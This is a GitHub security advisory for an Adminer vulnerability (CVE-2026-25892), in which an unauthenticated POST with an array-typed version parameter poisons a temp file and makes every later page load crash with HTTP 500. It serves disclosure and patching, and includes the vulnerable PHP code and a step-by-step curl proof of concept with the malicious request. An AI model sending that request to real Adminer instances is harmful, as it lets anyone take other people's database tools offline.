Skip to content

Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint

High severity GitHub Reviewed Published Feb 8, 2026 in vrana/adminer • Updated Feb 10, 2026

Package

composer vrana/adminer (Composer)

Affected versions

>= 4.6.2, < 5.4.2

Patched versions

5.4.2

Description

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

  • functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
  • Adminer.org sends signed version data via postMessage
  • JavaScript POSTs this to ?script=version
  • Server stores in /tmp/adminer.version for signature verification
// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

  • Request origin (no CSRF token check for this endpoint)
  • Request source (any HTTP client can POST)
  • Parameter types (version expected as string, array not rejected)
// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.


Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

References

@vrana vrana published to vrana/adminer Feb 8, 2026
Published by the National Vulnerability Database Feb 9, 2026
Published to the GitHub Advisory Database Feb 10, 2026
Reviewed Feb 10, 2026
Last updated Feb 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(79th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

CVE ID

CVE-2026-25892

GHSA ID

GHSA-q4f2-39gr-45jh

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.